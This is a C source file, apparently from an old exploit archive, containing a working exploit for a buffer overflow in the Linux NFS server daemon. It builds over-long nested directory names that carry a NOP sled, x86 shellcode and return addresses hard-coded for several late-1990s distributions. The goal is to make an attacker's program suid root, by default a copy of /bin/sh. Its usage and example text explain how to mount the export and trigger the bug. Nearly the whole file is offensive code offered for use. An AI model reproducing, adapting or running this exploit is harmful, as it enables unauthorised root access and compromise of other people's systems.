home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / nfsd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  179 lines

  1. /*
  2.  *
  3.  * -> THIS IS VERY PRIVATE AND IS NOT TO BE DISTRIBUTED <-
  4.  *
  5.  * 
  6.  * author: tmoggie
  7.  * greetz: 
  8.  *         DiGiT - bug discovering, 
  9.  *         kil3r, maxiu and all of lam3rZ GrP
  10.  *                                  
  11.  */
  12.  
  13. #include <sys/stat.h>
  14. #include <sys/types.h>
  15. #include <fcntl.h>
  16. #include <unistd.h>
  17. #include <string.h>
  18.  
  19. #define green "\E[32m"
  20. #define bold "\E[1m"
  21. #define normal "\E[m"
  22. #define red "\E[31m"
  23.  
  24. char shellcode[] = "\xeb\x2d\x5a\x21\xee\xae\x41\xcd\x80\xfe\x51\xeb\xd2\xad\xdb"
  25.                    "\xb1\xc0\xb0\x46\xcd\x80\xc9\xd2\xbe\xf3\xb0\xc0\xcd\x80\x66"
  26.                    "\xb9\xff\x09\x89\xf3\xb0\x0f\xcd\x80\x21\xdb\x89\xd8\xfe\xc0"
  27.                    "\x6a\xff\xff\xfa\x50\xcd\x80\xdb\x89\xd8\xfe\xc0\xae\xeb\xd2"
  28.                    "\xcd\x80\xe8\xce\xff\xff\xff\xff\xff\xff/";
  29.  
  30. char *cmd = "cp /bin/sh /tmp/blah";
  31.  
  32. int offset = 132; //default offset
  33.  
  34.  
  35. void usage(char *prog)
  36. {
  37.   printf("\nusage: %s <-e dir> [-t target] [-c command] || %s <-h>\n",prog,prog);
  38.   printf("\n   -e dir    : full path to exported directory\n");
  39.   printf("   -t target : ");
  40.   printf("1 - RH 5.2 (default)   2 - Debian 2.1\n");
  41.   printf("3 - Slack 3.4          4 - Slack 3.6 2.1\n");
  42.   printf("5 - Slack 3.6, se      6 - SuSE 5.3\n");
  43.   printf("the rh 6.0 dosen't work atm :((((\n\n");
  44.   printf("   -c command: cmd to do as a normal user
  45.          (default: cp /bin/sh /tmp/blah)\n");
  46.   printf("   -h        : help, usage example\n\n");
  47.   exit(0);
  48. }
  49.  
  50. void example(char *prog)
  51. {
  52.   printf("Ok, let's say you wanna xploit Debian 2.1 with export:\n");
  53.   printf("\t/usr\t*(ro)\n");
  54.   printf("and you have some nice proggie which you want to make suid root:\n");
  55.   printf("\t/home/you/nice-proggie\n");
  56.   printf("If you have +w on /usr/tmp you have to do:\n");
  57.   printf("%s -e /usr/tmp -c \"cp /home/you/nice-proggie /tmp/blah\" -t 2\n",
  58.          prog);
  59.   printf("Next you have to mount the /usr on some box where you can do it;)\n");
  60.   printf("otherbox# mount -t nfs terget:/usr /mnt\n");
  61.   printf("otherbox# rm -rf /mnt/A[tab]\n\n");
  62.   printf("That's all...\n\n");
  63.   exit(0);
  64. }
  65.  
  66. void main(int argc, char **argv)
  67. {
  68.   int i,j;
  69.   char buf[4096];
  70.   char buf2[4096];
  71.   char tmp[4096];
  72.  
  73.   char exp[255] = "!";
  74.   int addr = 0xbffa3ad1 ; // RH 5.2
  75.  
  76.   while (1)
  77.     {
  78.       i = getopt(argc,argv,"e:c:t:h");
  79.       if (i == -1) break;
  80.       switch (i)
  81.         {
  82.         case 'e':
  83.           strcpy(exp,optarg);
  84.           break;
  85.         case 'c':
  86.           strcpy(cmd,optarg);
  87.           break;
  88.         case 't':
  89.           switch (j=atoi(optarg))
  90.             {
  91.             case 1:
  92.               addr = 0xbffeb567;
  93.               break; // debian 1.2
  94.             case 2:
  95.               addr = 0xbffa3ad1;
  96.               break; // rh 5.2
  97.             case 3:
  98.               addr = 0xbff9b5af;
  99.               break; // slack 3.4
  100.             case 4:
  101.               addr = 0xbffef205;
  102.               break; // slack 3.6, le
  103.             case 5:
  104.               addr = 0xbffef225;
  105.               break; // slack 3.6, se
  106.             case 6:
  107.               addr = 0xbfff0a5f;
  108.               break; // suse 5.3
  109.               //                     case 7: addr = 0xbfffe62f; break; // rh 6.0, dosen't work now :(((
  110.             }
  111.  
  112.         case 'h':
  113.           example(argv[0]);
  114.           break;
  115.         default :
  116.           usage(argv[0]);
  117.           break;
  118.         }
  119.     }
  120.   if (!strcmp(exp,"!")) usage(argv[0]);
  121.   printf(bold"cmd");
  122.   if (system(cmd) != 0)
  123.     {
  124.       printf(red"....failed!\n"normal);
  125.       exit(-1);
  126.     }
  127.   printf(normal green"\tOk\n"normal);
  128.  
  129.   bzero(exp,sizeof(exp));
  130.   strncpy(exp,argv[1],strlen(argv[1]));
  131.   offset = strlen(exp);
  132.   if (exp[offset-1] != '/') strcat(exp,"/");
  133.   offset = strlen(exp);
  134.   bzero(buf,sizeof(buf));
  135.   memset(tmp,'A',255);
  136.   tmp[255]='/';
  137.   tmp[256]='\0';
  138.   strncpy(buf,exp,offset);
  139.   printf(bold"dirs");
  140.   for (i=1;i<=3;i++)
  141.     {
  142.       strncat(buf,tmp,strlen(tmp));
  143.       if (mkdir(buf,0777) < 0)
  144.         {
  145.           printf(red"...fuck! can't create directory!!! : %d\n"normal,i);
  146.           exit(-1);
  147.         }
  148.     }
  149.   memset(tmp,'A',255);
  150.   tmp[255-offset]='/';
  151.   tmp[256-offset]='\0';
  152.   strncat(buf,tmp,strlen(tmp));
  153.   if (mkdir(buf,0777) < 0)
  154.     {
  155.       printf(red"...fuqn offset dirW#$#@%#$^%T#\n"normal);
  156.       exit(-1);
  157.     }
  158.   memset(tmp,'\x90',255);
  159.   strcpy(tmp+(255-strlen(shellcode)),shellcode);
  160.   strncat(buf,tmp,strlen(tmp));
  161.   if (mkdir(buf,0777) < 0)
  162.     {
  163.       printf(red"...fuck!@# shell-dir\n"normal);
  164.       exit(-1);
  165.     }
  166.   memset(tmp,'a',255);
  167.   tmp[97] = '\0';
  168.   *((int*)(tmp+93)) = addr;
  169.   strncat(buf,tmp,strlen(tmp));
  170.   if (mkdir(buf,0777) < 0)
  171.     {
  172.       printf(red"...fuck!@#!@#!$ addrez-dir ^\n"normal);
  173.       exit(-1);
  174.     }
  175.   printf(normal green"\tOk\n"normal);
  176.   printf("now you have to do: "bold green \
  177.          "rm -rf /path-to-mount-point/A[tab] & \n\n"normal);
  178. }
  179. /*                    www.hack.co.za              [2000]*/